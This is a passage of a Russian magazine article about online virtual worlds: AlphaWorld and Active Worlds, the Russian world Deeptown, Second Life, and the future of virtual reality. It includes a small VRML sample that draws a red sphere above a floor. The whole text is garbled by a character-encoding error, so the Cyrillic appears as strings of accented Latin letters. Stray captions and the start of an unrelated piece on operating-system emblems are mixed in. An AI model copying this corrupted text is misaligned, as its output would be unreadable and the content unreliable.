òåëåé äîñòèãëî 50 òûñÿ÷. Òåïåðü ëþäè ìîãëè âûáðàòü ñåáå àâàòîðà èç ñî-
ëèäíîãî ñïèñêà ïåðñîíàæåé (â íà÷àëå àâòàðîâ áûëî òîëüêî äâîå � ìóæñ-
êîé è æåíñêèé). Êîãäà AlphaWorld ñòàë ïî íàñòîÿùåìó ïîïóëÿðíûì, êîìïà-
íèÿ äàëà þçåðàì âîçìîæíîñòü íàïîëíÿòü ìèð ñàìîñòîÿòåëüíî. Ìîæíî áû-
ëî ïîñëàòü çàïðîñ íà ïðèîáðåòåíèå îòêðûòîé, ïóñòûííîé ìåñòíîñòè è, ñ ïî-
ìîùüþ âñòðîåííîãî êîíñòðóêòîðà, ñîîðóäèòü èç îáúåêòîâ (ñòåíà, îêíî)
äîì, ïîñàäèâ ðÿäîì äåðåâüÿ èëè äàæå âîçäâèãíóòü ñàìîìó ñåáå ïàìÿòíèê.
Ðàçðàáîò÷èêè AlphaWorld âñÿ÷åñêè ïîîùðÿëè àðõèòåêòîðîâ ìèðà è äàâàëè
èì íîâûå èíñòðóìåíòû äëÿ ñòðîèòåëüñòâà. Ñàìûì èçâåñòíûì òâîðåíèåì â
1996 ñòàë Øåðâóäñêèé ëåñ, â ñîçäàíèè êîòîðîãî ïðèíèìàëî ó÷àñòèå áîëü-
øèíñòâî ãðàæäàí ìèðà. Öåëüþ ýòîãî ýêñïåðèìåíòà áûëî ñäåëàòü â
AlphaWorld ìåñòî, íàèáîëåå ïðèáëèæåííîå ê ðåàëüíîñòè � ñ àëëåÿìè,
ðó÷üÿìè, æèâîòíûìè è óþòíûìè äîìèêàìè. È, òàê êàê äëÿ äîñòèæåíèÿ ýòîé
öåëè ëþäè ðàáîòàëè ñîîáùà è ïîñòîÿííî îáìåíèâàëèñü èäåÿìè, ýòî ïîçâî-
ëèëî åùå áîëüøå ñïëîòèòü êîìüþíèòè âíóòðè.
8 ìàðòà 1996 ñîñòîÿëàñü ïåðâàÿ â âèðòóàëüíûõ ìèðàõ ñâàäüáà ïåðñîíàæåé
Janka è Tomas. Ñïåöèàëüíî äëÿ ýòîãî ñîáûòèÿ àðõèòåêòîðû ñîîðóäèëè íî-
âûé ïàâèëüîí, äèçàéíåðû ñîçäàëè íîâûå ñâàäåáíûå àâàòîðû, áûëî ðàçîñ-
ëàíî êó÷ó ïðèãëàøåíèé� ñîáûòèå ïðîøëî ñ øèêîì è ðàçìàõîì. Ïî ñëóõàì,
ó íåãî òàêæå áûëî ïðîäîëæåíèå â ðåàëå.
Â ìàå 1996 ã. Worlds Inc. ñòàëà âûïóñêàòü íîâûå ìèðû, íà îñíîâå îïûòà
AlphaWorld. Âñå âìåñòå îíè ïîëó÷èëè íàçâàíèå Active Worlds è áûëè ñîåäè-
íåíû äðóã ñ äðóãîì, òàê ÷òî ìîæíî áûëî ïóòåøåñòâîâàòü èç îäíîãî ìèðà â
äðóãîé. Ïåðâûìè ïîñëåäîâàòåëÿìè AW ñòàëè Cyborg Nation, TelePark è The
Wild West, ÷åðåç ïàðó ëåò «àêòèâíûõ ìèðîâ» íàñ÷èòûâàëîñü óæå ñîòíè.

[Active Worlds] Â 1997 ã. World Inc. áûëà êóïëåíà êîìïàíèåé Circle of Fire
(ïîòîì èìÿ âëàäåëüöà ñìåíèòñÿ íà Activeworlds.com, Inc.) è âñêîðå ïîñëå
ýòîãî ïóòåøåñòâèÿ ïî îôèöèàëüíûì Active Worlds ñòàëè ïëàòíûìè. Äëÿ
ïîëíîöåííîé âèðòóàëüíîé æèçíè íåîáõîäèìî âíåñòè åæåìåñÿ÷íóþ ÷ëåíñ-
êóþ ïëàòó 7$, â ýòîì ñëó÷àå òû ìîæåøü ïîëüçîâàòüñÿ âñåìè âîçìîæíîñòÿ-
ìè, è ñîçäàííûå òîáîé òâîðåíèÿ íèêòî íå ñìîæåò ðàçðóøèòü. Ìîæíî òàêæå
çàéòè â ìèð êàê Òóðèñò � ýòî áåñïëàòíî, íî òû íå ñìîæåøü ïîëüçîâàòüñÿ
ìíîãèìè îïöèÿìè è åñëè ïîñòðîèøü äîìèê, êòî óãîäíî ìîæåò âíåñòè â íåì
èçìåíåíèÿ èëè ïóñòèòü ïîä êàòîê.
Âñå Active Worlds ñîåäèíåíû ñèñòåìîé òåëåïîðòîâ. Òî åñòü, èññëåäîâàâ
îäèí ìèð, ìîæåøü ïåðåéòè â ñëåäóþùèé, ãäå ïîçíàêîìèøüñÿ ñ íîâûìè
ëþäüìè è èíòåðüåðàìè. Íà äàííûé ìîìåíò ñóùåñòâóþò ñîòíè AW, îò ïîä-
âîäíûõ ãîðîäîâ è áîòàíè÷åñêèõ ïàðêîâ äî ìàðñèàíñêèõ ëàíäøàôòîâ è ìå-
ãàïîëèñîâ áóäóùåãî. Â íåêîòîðûõ â ëþáîå âðåìÿ ìîæíî âñòðåòèòü òûñÿ÷è
ëþäåé, íåêîòîðûå ïóñòûííû è äî êîíöà íå èññëåäîâàíû. Ñàìûì ïîïóëÿð-
íûì ÿâëÿåòñÿ ñòàðûé-äîáðûé AlphaWorld, ïëîùàäü êîòîðîãî áîëüøå, ÷åì
øòàò Êàëèôîðíèÿ, à íàñåëåíèå ñîñòàâëÿåò îêîëî 150 òûñÿ÷ ÷åëîâåê.
Íà÷àëî êàæäîãî ïóòåøåñòâèÿ íà÷èíàåòñÿ â çîíå ïîä íàçâàíèåì Ground
Zero. Ýòî ìåñòî âñåãäà ñàìîå îæèâëåííîå, è çäåñü çàïðîñòî ìîæíî
ïîçíàêîìèòüñÿ ñ íîâûìè ëþäüìè. Õîòÿ äëÿ äëèòåëüíîãî îáùåíèÿ ñ
êîíêðåòíûì ñîáåñåäíèêîì ëó÷øå ïåðåáðàòüñÿ êóäà-íèáóäü, ãäå ïîòè-
øå, òàê êàê æåëàþùèõ ïîáîëòàòü â GZ ìíîãî, è ýêðàí ÷àñòî çàõëàìëåí
âñåâîçìîæíûìè ôðàçàìè.
Ïåðåâàëî÷íûì ïóíêòîì ìåæäó ìèðàìè ÿâëÿþòñÿ Âðàòà (The Gate) � íå-
áîëüøàÿ çîíà, èç êîòîðîé ìîæíî ïîïàñòü â áîëüøèíñòâî ñóùåñòâóþùèõ

âèðòóàëüíûõ ìèðîâ. Çäåñü òàêæå
ìîæíî âñòðåòèòü êó÷ó íàðîäà. Îò-
ëè÷èòåëüíîé îñîáåííîñòüþ Âðàò
ÿâëÿåòñÿ òî, ÷òî â ýòîé çîíå äîñòó-
ïåí òîëüêî îäèí àâàòàð, ïîýòîìó
âñå æèòåëè ïîõîæè äðóã íà äðóãà
êàê äâå êàïëè. Áûñòðîå ïåðåìåùå-
íèå â ìèðàõ ïðîèñõîäèò ïîñðåä-
ñòâîì ìàøèí òåëåïîðòàöèè, ãäå òû
ìîæåøü ââåñòè êîîðäèíàòû è îêà-
çàòüñÿ â íóæíîì ìåñòå. Ìîæíî, êî-
íå÷íî, äîéòè ïåøêîì, íî ýòî âñå
ðàâíî, ÷òî ïðîãóëÿòüñÿ ïåøêîì îò
Ìîñêâû äî Ïèòåðà.
Àêòèâíûå ìèðû ÷åì-òî íàïîìèíàþò
IRC. Ëþäè çäåñü îáû÷íî íå áðîäÿò
ïî âñåì êàíàëàì, à íàõîäÿò òî, ÷òî
èì ïî äóøå, è îáîñíîâûâàþòñÿ â íèõ
íàäîëãî. Â ýòèõ ìèðàõ îíè îáùàþòñÿ
ñ äðóçüÿìè, ïðîâîäÿò ðàçíûå ýâåí-
òû, çàíèìàþòñÿ ñòðîèòåëüñòâîì.
Ñóùåñòâóþò òûñÿ÷è ãîðîäîâ, îñíî-
âàííûõ è îáóñòðîåííûõ ìåñòíûìè
æèòåëÿìè.
Åñëè òû ïðèâûê ê ìèëëèîíàì ïîëè-
ãîíîâ íà êâàäðàòíûé ìèëëèìåòð è
ñïåöýôôåêòàì èç Half Life 2, òåáÿ
âðÿä ëè âäîõíîâèò ãðàôèêà ñîâðå-
ìåííûõ Active Worlds. Âñå-òàêè ýòî
íå ïðåðåíäåííûå êàðòèíêè, à ìíî-
æåñòâî 2.5-ìåðíûõ îáúåêòîâ, ðàñ-
ñòàâëåííûõ àâòîðîì è æèòåëÿìè ñ
ïîìîùüþ ÿçûêà VRML. Êàðòèíêè äà-
þò òåáå ïðåäñòàâëåíèå îá îêðóæàþ-
ùåì òåáÿ ìèðå, îñòàëüíîå äîäóìàåò
òâîå âîîáðàæåíèå. Ê òîìó æå, êàê è
â îíëàéíîâûõ èãðàõ, ãëàâíîå çäåñü
íå ãðàôèêà, à îáùåíèå è âçàèìî-
äåéñòâèå ëþäåé.
Îáùåíèå â àêòèâíûõ ìèðàõ ïðîèñ-
õîäèò ïðè íåïîñðåäñòâåííîé áëè-

çîñòè ñîáåñåäíèêà. Òåáÿ ìîãóò ñëûøàòü äî 50 ÷åëîâåê, íàõîäÿùèõñÿ ïîá-
ëèçîñòè (èìåþùèõ ñòàòóñ «îðàòîð» ñëûøàò áîëüøå è äàëüøå), ôðàçû, êî-
òîðûå òû ââîäèøü, ïîÿâëÿþòñÿ íà íåêîòîðîå âðåìÿ íàä ãîëîâîé òâîåãî
àâàòàðà. Òàêæå ìîæíî ïîñûëàòü ëè÷íûå ñîîáùåíèÿ è òåëåãðàììû.
Ïîìèìî ðàçâëå÷åíèé, êîòîðûå íàðîä ïðèäóìûâàåò ñåáå ñàì, êàæäóþ íåäå-
ëþ ïðîèñõîäÿò îôèöèàëüíûå ýâåíòû. Íàïðèìåð, íà èþëü 2005 ã. áûëè çàï-
ëàíèðîâàíû âå÷åð âçðîñëîé ïîýçèè â ìèðå GorTasa, äåòñêèé ïåéíòáîë â
ìèðå AWTeen, âèêòîðèíà Bingo â ìèðå Elvandor è ïðàçäíîâàíèå äåñÿòèëåò-
íåãî þáèëåÿ Active Worlds â ðåàëüíîì ìèðå, â Áîñòîíå, øòàò Ìàññà÷óñåòñ.
AW èñïîëüçóþòñÿ íå òîëüêî äëÿ ðàçâëå÷åíèÿ. Ìíîãèå êîìïàíèè è ãîñóäàð-
ñòâåííûå ñòðóêòóðû âçÿëè íà âîîðóæåíèå VRML-òåõíîëîãèè äëÿ ñîçäàíèÿ
èíòåðàêòèâíîé îáó÷àþùåé, ðåêëàìíîé èëè èíôîðìàöèîííîé ñðåäû. Òàì,
ãäå íå ñïðàâèòñÿ îáû÷íûé áðàóçåð è ïëîñêèå web-ñòðàíèöû, íà ïîìîùü
ïðèõîäèò 3D. Íàïðèìåð, ïðåäñòàâü ñåáå îíëàéí ìàãàçèí, ïî êîòîðîìó òû
ìîæåøü ïðîéòèñü, êàê ïî-íàñòîÿùåìó, ïîîáùàòüñÿ ñ ïðîäàâöàìè, âûáðàòü
ñ ïðèëàâêîâ íóæíûå òåáå òîâàðû è òóò æå îïëàòèòü èõ. Êîíå÷íî, ìîæíî ýòî
ñäåëàòü è ÷åðåç ñàéò, íî â Àêòèâíûõ Ìèðàõ ïðîöåññ ïîêóïêè ñòàíîâèòñÿ
íàìíîãî óâëåêàòåëüíåå.
Àêòèâíûå ìèðû íàñåëÿþò ëþäè èç âñåõ óãîëêîâ ñâåòà. Äàëåêî íå âñå îíè
ãîâîðÿò ïî-àíãëèéñêè, ïîýòîìó ñóùåñòâóåò ìíîæåñòâî íàöèîíàëüíûõ ìè-
ðîâ, ãäå îáùàþòñÿ òîëüêî ôðàíöóçû, èñïàíöû, íåìöû è äð. Íåìàëî ñðåäè
íèõ è ðóññêèõ ìèðîâ.

[Ðóññêèå 3D ìèðû] Ñàìûì èçâåñòíûì è ïîïóëÿðíûì ðóññêèì ìèðîì ÿâ-
ëÿåòñÿ Äèïòàóí, ñîçäàííûé ïî ìîòèâàì ïðîèçâåäåíèé ïèñàòåëÿ Ñåðãåÿ
Ëóêüÿíåíêî. Ýòî ñàìîñòîÿòåëüíûé ìèð è òû íå ñìîæåøü ÷åðåç íåãî ïî-
ïàñòü â îôèöèàëüíûå ìèðû Activeworlds.com, çàòî ðåãèñòðàöèÿ òóò ïîë-
íîñòüþ áåñïëàòíàÿ, äà è ëþäè âñå ñâîè.
Òå, êòî ÷èòàë òðèëîãèþ «Ëàáèðèíò îòðàæåíèé», ñìîãóò íàéòè â âèðòóàëüíîì
Äèïòàóíå çíàêîìûå ÷åðòû. Íàïðèìåð, îäíèì èç ñàìûõ ïîïóëÿðíûõ ìåñò â
íåì ÿâëÿåòñÿ áàð «Òðè ïîðîñåíêà», à äëÿ ëþáèòåëåé îñòðûõ îùóùåíèé åñòü
«Ëàáèðèíò ñìåðòè». Ïîìèìî ýòîãî, ìèð Äèïòàóíà âêëþ÷àåò â ñåáÿ: ìýðèþ,
øêîëó ñòðîéêè, êèíîñòóäèþ, èïïîäðîì, ñòàäèîí, êîñìè÷åñêóþ ñòàíöèþ, ãà-
ëåðåè, äâîðöû, ïëÿæè, áàðû, ãèïåðìàðêåòû, ïàðêè, õðàìû, è ìíîãèå äðóãèå
äîñòîïðèìå÷àòåëüíîñòè, êîòîðûå ìîæíî ïîñåòèòü, è ãäå ìîæíî âñòðåòèòü
æèòåëåé. Îïûòíûå ñòðîèòåëè èëè ïðîñòûå àðõèòåêòîðû-ëþáèòåëè ó÷àñòâó-[X
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| ÔÔÐÀÃÌÅÍÒ VVRML-ÊÊÎÄÀ,
ÂÛÂÎÄßÙÈÉ ÏÏËÎÑÊÓÞ
ÏÎÂÅÐÕÍÎÑÒÜ ÑÑ ÊÊÐÀÑÍÛÌ
ØÀÐÎÌ ÍÍÀ ÍÍÅÉ ||
#VRML V2.0 utf8
# This is a comment line
WorldInfo {
title "Bouncing Ball" 

}
Viewpoint {
position 0 5 30
description"Side View"

}
DEF Floor Box {
size 6 0.2 6

}
DEF Ball Transform {
translation 0 10 0
children Shape {

appearance Appearance {
material Material {

diffuseColor 1 0 0
}

}
geometry Sphere {
}

}
}

êàðòèíêà, èëëþñòðèðóþùàÿ
ðåçóëüòàò êîäà â áëîê-âðåçêå

ñâàäüáà ßíêè è Òîìàñà



þò â ðåãóëÿðíûõ êîíêóðñàõ íà ëó÷øóþ ïîñòðîéêó, è ýêñïîíàòû-ïðèçåðû ñòà-
íîâÿòñÿ íîâîé ãîðäîñòüþ Äèïòàóíà. Õîòÿ ñâîé àðõèòåêòóðíûé øåäåâð ìîæ-
íî ñîçäàòü â ëþáîå âðåìÿ, äîñòàòî÷íî èçó÷èòü îñíîâû ñòðîèòåëüñòâà (â òîé
æå øêîëå ñòðîéêè èëè ïî÷èòàâ äîêóìåíòàöèè) è ïîñëàòü çàïðîñ Õðàíèòåëþ
íà âûäåëåíèå òåáå ïóñòîãî ó÷àñòêà çåìëè.
Õðàíèòåëè ÿâëÿþòñÿ êëþ÷åâûìè ôèãóðàìè â Äèïòàóíå, îíè ñëåäÿò çà ïîðÿä-
êîì è áëàãîóñòðîéñòâîì ìèðà. Ìíîãèå âîïðîñû îòíîñèòåëüíî ðàçâèòèÿ Äèï-
òàóíà ðåøàþòñÿ íà Ñîâåòå Õðàíèòåëåé. Îñòàëüíûå, êòî ïðîøåë ðåãèñòðàöèþ,
ñòàíîâÿòñÿ çàðåãèñòðèðîâàííûìè æèòåëÿìè ìèðà è ìîãóò ïðèíèìàòü ó÷àñòèå
â åãî æèçíè è ïîïîëíåíèè. Ñàìûì èçâåñòíûì æèòåëåì Äèïòàóíà ÿâëÿåòñÿ
Áåëêà. Îáû÷íàÿ áåëêà, êîòîðàÿ æèâåò â äóïëå äóáà, ðàñòóùåãî â ñàìîì öåíò-
ðå ãîðîäà. Òàê óæ ñëîæèëîñü, ÷òî ìåñòíîå íàñåëåíèå ïîëþáèëî ðó÷íóþ çâå-
ðóøêó è ïîñòîÿííî ïîäêàðìëèâàåò îðåõàìè, êîòîðûå ìîæíî â èçîáèëèè íàé-
òè âîçëå åå æèëèùà. Êàê è â ëþáîì íîðìàëüíîì ãîðîäå, â Äèïòàóíå åñòü ñâîÿ
ãàçåòà, ãäå âåäóòñÿ ãîðîäñêèå õðîíèêè è îáúÿâëÿåòñÿ î áóäóùèõ ýâåíòàõ. Ìíî-
ãèå æèòåëè íå îãðàíè÷èâàþòñÿ âèðòóàëüíûì îáùåíèåì è ïðîâîäÿò âñòðå÷è â
ðåàëå. Íàïðèìåð, â Ìîñêâå AW-øíûå òóñîâêè ïðîâîäÿòñÿ êàæäóþ ïÿòíèöó.
Òðåáîâàíèÿ ê êîìïüþòåðó ó Äèïòàóíà íåâûñîêèå. Ïðîñòîé ïåíòèóì, 64 Ìá
ÎÇÓ, âèäÿõà íà 32 ìåòðà, âèíò ñ ãèãàáàéòîì ñâîáîäíîãî ìåñòà è ìîäåì �
âñå, ÷òî òåáå íóæíî. Ïðàâäà, ïðè ïåðâîì çàõîäå êëèåíò íà÷íåò ñêà÷èâàòü
îáúåêòû ìèðà ïî ìåðå òâîåãî ïðîäâèæåíèÿ. Íî âñå ýòî ñîõðàíÿåòñÿ íà âèí-
òå, è â äàëüíåéøåì áóäåò ïîäãðóæàòüñÿ ñ íåãî æå. Âåñü ìèð ñî âñåìè îáú-
åêòàìè â ñæàòîì âèäå çàíèìàåò îêîëî 100 ìåãàáàéò.
Äèïòàóí íå åäèíñòâåííûé ïðåäñòàâèòåëü âñåëåííîé ðóññêèõ Active Worlds,
õîòÿ áåçóñëîâíî ÿâëÿåòñÿ öåíòðîâûì. Åñòü åùå Êñåíâàðä � ìèð ôåíòåçè,
ãäå òû ìîæåøü ïðîñòî ãóëÿòü ïî æèâîïèñíûì ïðèðîäíûì ëàíäøàôòàì, ñëó-
øàÿ ïåíèå ïòèö è èçó÷àÿ ïðè÷óäëèâóþ ðàñòèòåëüíîñòü. Åãî æèòåëè � õîááè-
òû, ôåè è äðóãèå ñêàçî÷íûå ñóùåñòâà. Äî íåäàâíåãî âðåìåíè î÷åíü ïîïóëÿð-
íûì áûë ìèð Êàëèïñî, èìåþùèé èãðîâóþ íàïðàâëåííîñòü, â êîòîðîì ïîñòî-
ÿííî ïðîâîäèëèñü ðàçíûå âèêòîðèíû è øîó. Â ÿíâàðå ýòîãî ãîäà Õðàíèòåëè
íè ñ òîãî íè ñ ñåãî çàêðûëè ìèð, ÷åì âûçâàëè âîçìóùåíèå ìíîãèõ åãî ïîñòî-
ÿííûõ æèòåëåé. Åñòü è äðóãèå ðóññêèå ìèðû, î íèõ, à òàêæå î äðóãèõ, íàõîäÿ-
ùèõñÿ â ðàçðàáîòêå, òû ìîæåøü óçíàòü íà ñàéòå www.activeworlds.ru.
Ïàðó ëåò íàçàä ñòàðòîâàë íîâûé ïðîåêò ñ íàçâàíèåì «Äèïòàóí». Ïî ñëîâàì àâòî-
ðîâ, îí áóäåò íàìíîãî áîëåå ðåàëèñòè÷íûì, îñíîâàííûì íà íîâûõ òåõíîëîãèÿõ, è
èìåòü íàìíîãî áîëüøå âîçìîæíîñòåé, ÷åì Active worlds. Î ïðîåêòå ìîæíî ïî÷èòàòü
íà îôèöèàëüíîì ñàéòå www.deeptown.org è, ïðè æåëàíèè, ïîìî÷ü ðàçðàáîò÷èêàì.

[Second Life] Second Life � ýòî âèðòóàëüíûé ìèð, ñîçäàííûé êîìïàíèåé
Linden Lab. Â îòëè÷èå îò Active Worlds îí íå îñíîâàí íà ÿçûêå VRML, è äëÿ
çàïóñêà òåáå íóæåí íå áðàóçåð, à ñïåöèàëüíûé êëèåíò.
Â íà÷àëå òåáå ïðåäîñòàâëÿåòñÿ âûáðàòü àâàòàðà, ïðè÷åì ñîòðóäíèêè
Linden Lab íå äåëàþò íèêàêèõ îãðàíè÷åíèé. Òû ìîæåøü ñòàòü ñóïåðãåðîåì,
ñêàçî÷íûì ìîíñòðîì èëè ïåðñîíàæåì ëþáèìîãî ôèëüìà. Ñ ïîìîùüþ
âñòðîåííîãî êîíñòðóêòîðà è äîïîëíèòåëüíûõ óòèëèò òû ìîæåøü ñäåëàòü ñå-
áå àáñîëþòíî ëþáóþ âíåøíîñòü.
Ìèð Second Life � î÷åíü ðàçíîîáðàçíûé. Çäåñü åñòü âñå: æèâîïèñíûå îçåðà
è ïîäçåìíûå ãðîòû, íî÷íûå êëóáû è èçâåñòíûå ìóçåè, âîçäóøíûå çàìêè è
ñîâðåìåííûå íåáîñêðåáû. Áîëüøèíñòâî ïîñòðîåê áûëè ñäåëàíû æèòåëÿìè
ìèðà ñ ïîìîùüþ èíòóèòèâíî ïîíÿòíîãî êîíñòðóêòîðà, ñ áîëüøîé áàçîé äåôî-
ëòíûõ îáúåêòîâ è âîçìîæíîñòüþ äîáàâëÿòü ñâîè. À âñòðîåííûé ñêðèïòîâûé
ÿçûê ïîçâîëÿåò äåëàòü íå òîëüêî ñòàòè÷íûå âåùè, íî è íàäåëÿòü èõ æèçíüþ.
Åñëè ýòî ïèñòîëåò � îí ìîæåò ñòðåëÿòü, åñëè ñàìîëåò � ëåòàòü ïî âîçäóõó.
Â îòëè÷èå îò Active Worlds, SL íàäåëåí ôèçèêîé. Çäåñü ïðèñóòñòâóåò ãðàâè-
òàöèÿ, èíåðöèÿ, äðóãèå çàêîíû è äàæå ïîãîäíûå óñëîâèÿ.
Æèòåëè ìèðà ìîãóò âñòðå÷àòüñÿ è îáùàòüñÿ â ëþáîé òî÷êå ìèðà, ïðè÷åì, åñëè
òâîé äðóã íàõîäèòñÿ çà íåñêîëüêî êèëîìåòðîâ îò òåáÿ � òû ìîæåøü ïåðåìåñòèòü
åãî ïðÿìî ê ñåáå ñ ïîìîùüþ ñèñòåìû òåëåïîðòîâ. À åñëè îí â îôëàéíå � ïîñ-
ëàòü åìó ñîîáùåíèå íà åìåéë èëè IM ïðÿìî èç èãðû. Íåñìîòðÿ íà òî, ÷òî ìèð äîñ-
òàòî÷íî ìîëîäîé, åãî æèòåëÿìè ÿâëÿþòñÿ äåñÿòêè òûñÿ÷ ëþäåé âñåõ ïîëîâ, âîç-
ðàñòîâ, íàöèîíàëüíîñòåé è ñîöèàëüíûõ ñòàòóñîâ. Ðàçâèòèå èäåò î÷åíü áûñòðî.
Êîíå÷íî, Second Life � ïðîäóêò êîììåð÷åñêèé. Ðàçðàáîòêîé è ïîääåðæêîé ìèðà
çàíèìàþòñÿ äåñÿòêè ñîòðóäíèêîâ Linden, à âñå çåìëè è îáúåêòû îáðàáàòûâàþòñÿ
íà 200 ñåðâåðàõ. Åñëè òû
ðåøèë ïðîñòî èññëåäî-
âàòü ìèð Second Life,
âïîëíå äîñòàòî÷íî îäèí
ðàç çàðåãèñòðèðîâàòü àê-
êàóíò (ñòîèò ýòî 10$) è òû
ñòàíåøü ïîëíîïðàâíûì
æèòåëåì. Åäèíñòâåííûì
îãðàíè÷åíèåì ñòàíåò òî,
÷òî òû íå ñìîæåøü íè÷å-
ãî ñòðîèòü è íå ñìîæåøü
ïðèíèìàòü ó÷àñòèå â ðàç-
âèòèè ìèðà. Òû ìîæåøü
òàêæå êóïèòü ó÷àñòîê

çåìëè è ïîñòðîèòü íà íåì äîì èëè êàêîé-íèáóäü áàð, êîòîðûé áóäóò ïîñåùàòü
äðóãèå æèòåëè. Âëàäåíèå çåìëåé ðàçìåðîì 512 êâàäðàòíûõ ìåòðîâ ñòîèò 10$ â
ìåñÿö. Ìîæíî àðåíäîâàòü çåìëè çíà÷èòåëüíî áîëüøèõ ðàçìåðîâ, è äàæå öåëûå
îñòðîâà, íî åæåìåñÿ÷íàÿ ïëàòà áóäåò ðàñòè ïðîïîðöèîíàëüíî òâîèì çàïðîñàì.
Òîðãîâàÿ ñèñòåìà ÿâëÿåòñÿ âàæíîé ÷àñòüþ Second Life. Òû ìîæåøü ïîêó-
ïàòü è ïðîäàâàòü âñå ÷òî óãîäíî: îäåæäó, äðàãîöåííîñòè, òåõíèêó, ìå-
áåëü� âñå, ÷òî ñóùåñòâóåò â ðåàëüíîì ìèðå, è äàæå íåñóùåñòâóþùèå
âåùè, òû ìîæåøü ñîçäàòü è òîëêíóòü çà ìåñòíóþ âàëþòó Linden-äîëëàðû.
Ìîæíî òàêæå ñäàâàòü â àðåíäó èëè âçèìàòü ïëàòó çà ïîñåùåíèå ìåñò,
êîòîðûå âõîäÿò â òâîþ ñîáñòâåííîñòü. À çàðàáîòàííûå Linden�û ïîòðà-
òèòü íà ðàñøèðåíèå ñâîåãî âèðòóàëüíîãî áèçíåñà èëè îáìåíÿòü íà ðå-
àëüíûå áàêñû íà îäíîì èç ñïåöèàëèçèðóþùèõñÿ â ýòîì ñàéòîâ (íàïðè-
ìåð: www.gamingopenmarket.com).
Ðàçðàáîò÷èêè Second Life íå òîëüêî íå çàïðåùàþò âåñòè ðåàëüíûé
áèçíåñ çà ðåàëüíûå äåíüãè â ñâîåì ìèðå. Îíè âñÿ÷åñêè ýòî ïîîùðÿ-
þò. Íà îôèöèàëüíîì ñàéòå http://secondlife.com ãîâîðèòñÿ, ÷òî âñå,
÷òî òû ïîñòðîèë íà ñâîåé çåìëå, âñå, ÷òî ñîçäàë ñâîèìè ðóêàìè â ìè-
ðå Second Life, ÿâëÿåòñÿ òâîåé èíòåëëåêòóàëüíîé ñîáñòâåííîñòüþ, è
òû ìîæåøü ðàñïîðÿæàòüñÿ åé, êàê òåáå óãîäíî. Êîìïàíèÿ Linden òàê-
æå ðåãóëÿðíî äåëàåò äåíåæíûå ïðåìèè íàèáîëåå óñïåøíûì ïðåäïðè-
íèìàòåëÿì, âëàäåíèÿ êîòîðûõ ïîñåùàþò áîëüøàÿ ÷àñòü æèòåëåé. Òàê
÷òî åñëè òåáå íå óäàëîñü îñíîâàòü ñåòü ðåñòîðàíîâ òâîåãî èìåíè â ðå-
àëå, òû ìîæåøü çàïðîñòî ðåàëèçîâàòü ìå÷òó â âèðòóàëüíîñòè, è
èìåòü ñ ýòîãî ïðèëè÷íûé äîõîä.
Åñëè òåáÿ çàèíòåðåñîâàë ìèð Second Life � ìîæåøü ñêà÷àòü êëèåíò è 7
äíåé ïîãóëÿòü ïî ìèðó áåñïëàòíî. Èçó÷èòü êîíñòðóêòîð, ïîîáùàòüñÿ ñ ìåñò-
íûì íàñåëåíèåì, îñìîòðåòüñÿ. Õîòÿ ìàëî òåõ, êòî îäíàæäû âîøåë â ýòîò
ìèð, ñìîã ïîòîì îòêàçàòüñÿ îò íåãî.

[Áóäóùåå âèðòóàëüíûõ ìèðîâ] Õîòÿ â áëèæàéøåì áóäóùåì ïîÿâëåíèÿ
äèï-ïðîãðàììû, îïèñàííîå â «Ëàáèðèíòå îòðàæåíèé», íå ïðåäâèäèòñÿ, ìîæ-

íî óâåðåííî ñêàçàòü, ÷òî ãðàíü ìåæ-
äó âèðòóàëüíûìè è ðåàëüíûìè ìèðà-
ìè ïîñòåïåííî ñòèðàåòñÿ. Óæå ñåé-
÷àñ ìèðû ïîäîáíûå Second Life èìå-
þò íåïëîõóþ ãðàôèêó, âîçìîæíîñòè
àâàòàðîâ ïðàêòè÷åñêè íå óñòóïàþò
âîçìîæíîñòÿì ëþäåé â ðåàëüíîì ìè-
ðå. Ñîâðåìåííûå òåõíîëîãèè è øëå-
ìû âèðòóàëüíîé ðåàëüíîñòè ïîçâî-
ëÿþò äîáèòüñÿ ïîòðÿñàþùåãî ýô-
ôåêòà ïðèñóòñòâèÿ. Êîíå÷íî, â ãëóáè-
íå ñîçíàíèÿ òû ïîíèìàåøü, ÷òî ýòî
âñåãî ëèøü âèðòóàëüíîñòü, íî òî, ÷òî
ïðîèñõîäèò âîêðóã, çàòÿãèâàåò òåáÿ

íàñòîëüêî, ÷òî òû çàáûâàåøü îá ýòîì. Ïîêà òåõíîëîãèè VR ñ ýôôåêòîì ïðè-
ñóòñòâèÿ èñïîëüçóþòñÿ â îáó÷àþùèõ ñèìóëÿòîðàõ è ýêñïåðèìåíòàëüíûõ àï-
ïàðàòàõ, íî áóäóùèå âèðòóàëüíûå ìèðû íåðàçðûâíî ñ íèìè ñâÿçàíû. Êàê è â
AW, æèòåëè ñìîãóò ó÷àñòâîâàòü â ðàçâèòèè è ñòðîèòåëüñòâå ìèðà, ïîòîìó ÷òî
íè îäíà êîìïàíèÿ íå ñìîæåò ñàìîñòîÿòåëüíî ñïðàâèòüñÿ ñ íàïîëíåíèåì
áîëüøîé âñåëåííîé.
Óæå ñåé÷àñ ìèëëèîíû ëþäåé ïðîâîäÿò çíà÷èòåëüíóþ ÷àñòü æèçíè â âèðòó-
àëüíûõ ìèðàõ è áîëüøèíñòâî èç íèõ ñ÷èòàþò, ÷òî îíè ëó÷øå ðèàëëàéôà.
Ìîæåøü ìíå ïîâåðèòü, ýòî òîëüêî íà÷àëî áîëüøîé ìèãðàöèè ëþäåé â âèð-
òóàëüíîñòü. Ñåé÷àñ òû çàäóìûâàåøüñÿ î òîì, ñòîÿò ëè âèðòóàëüíûå ìèðû
òîãî, ÷òîáû òðàòèòü íà íèõ âðåìÿ. Â áóäóùåì òû áóäåøü äóìàòü, ñòîèò ëè
òîãî ðåàëüíûé ìèð 

SW City � êðóïíåéøèé ãîðîä âî âñåëåííîé Active Worlds

ïîïóëÿðíûé ðóññêèé VRML-áðàóçåð
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[îïåðàöèîíêè] Îïåðàöèîííàÿ ñèñòåìà � ýòî
ìíîãîëåòíèé òðóä òûñÿ÷ ïðîãðàììèñòîâ, ìèë-
ëèîíû ñòðîê êîäà, è çà÷àñòóþ î÷åíü áîëüøèå
äåíüãè. ×òîáû ïðîåêò íå ïîñòèã ïðîâàë, âàæíî
ó÷èòûâàòü êàæäóþ ìåëî÷ü, äàæå ýìáëåìó è
íàçâàíèå ÎÑ. Íàïðèìåð, ó FreeBSD â êà÷åñòâå
ñèìâîëà � ñèìïàòè÷íûé äåìîí ïî èìåíè Beas-
tie. Ðàçðàáîò÷èêè ôðÿõè íå ñàòàíèñòû, ïèøó-
